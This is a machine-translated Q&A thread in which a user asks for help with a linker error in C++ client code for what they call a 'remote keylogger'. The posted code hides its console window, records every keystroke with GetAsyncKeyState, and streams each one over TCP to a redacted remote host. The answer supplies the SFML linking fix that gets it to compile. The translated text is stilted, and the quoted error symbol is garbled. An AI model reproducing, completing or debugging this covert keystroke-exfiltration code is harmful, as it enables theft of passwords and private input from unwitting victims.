2017-05-30 192 views
1

因此,我正在为远程键盘记录器教育的目的。出于某种原因,当我尝试编译客户端,我得到这个错误(我使用SFML):无法解析的外部符号sf :: SFML时间

Error LNK2001 unresolved external symbol "__declspec(dllimport) public: 
static class sf::Time const sf::Time::Zero" ([email protected]@[email protected]@[email protected]) 

什么奇怪的是,服务器编译罚款,它使用相同的库。我无数次检查链接器设置,甚至尝试创建一个新项目,但没有成功。

下面的代码:

#include <fstream> 
#include <Windows.h> 
#include <SFML\Network.hpp> 
#include <iostream> 

void ConnectToHost(sf::TcpSocket* socket) 
{ 
    sf::Socket::Status status = socket->connect("*****", ***); 

    if (status != sf::Socket::Done) 
     std::cout << "Error connecting to socket." << std::endl; 

    return; 
} 

int main() 
{ 
    FreeConsole(); 

    sf::TcpSocket socket; 
    ConnectToHost(&socket); 

    while (1) 
    { 
     for (char key = 8; key <= 190; key++) 
     { 
      if (GetAsyncKeyState(key) == -32767) 
      { 
       char key_sent[50] = { key }; 
       socket.send(key_sent, sizeof(key_sent)); 
      } 
     } 
    } 
    return 0; 
} 

我目前链接SFML-网络d.lib调试和SFML-network.lib释放,但我也试图连接所有SFML动态链接库也是如此,所以不能与它有任何关系。无论如何,我认为这只是一个粗心大意的错误,我已经推翻或忽略了,但是自从我一直在研究这个问题几天以来,我认为我会把它作为一个问题发布。

回答

4

您的错误表示您的代码没有问题,这是链接问题。您链接到sfml-network.lib,但您需要链接到sfml-system.lib才能获得sf :: Time。

sfml-network.lib只给你:Ftp,Http,IpAddress,Packet,Socket,SocketSelector,TcpListener,TcpSocket,UdpSocket。

SFML网络对SFML系统具有依赖性,如here所述。无论何时使用SFML网络,您都需要明确链接到SFML-系统。

另一个快速提示是你提到链接到动态链接库。你不应该链接到任何DLL,你链接的.lib实际上让你导入这些DLL。如果你想做相反的事情(静态链接),那么你需要链接到* -s.lib变体。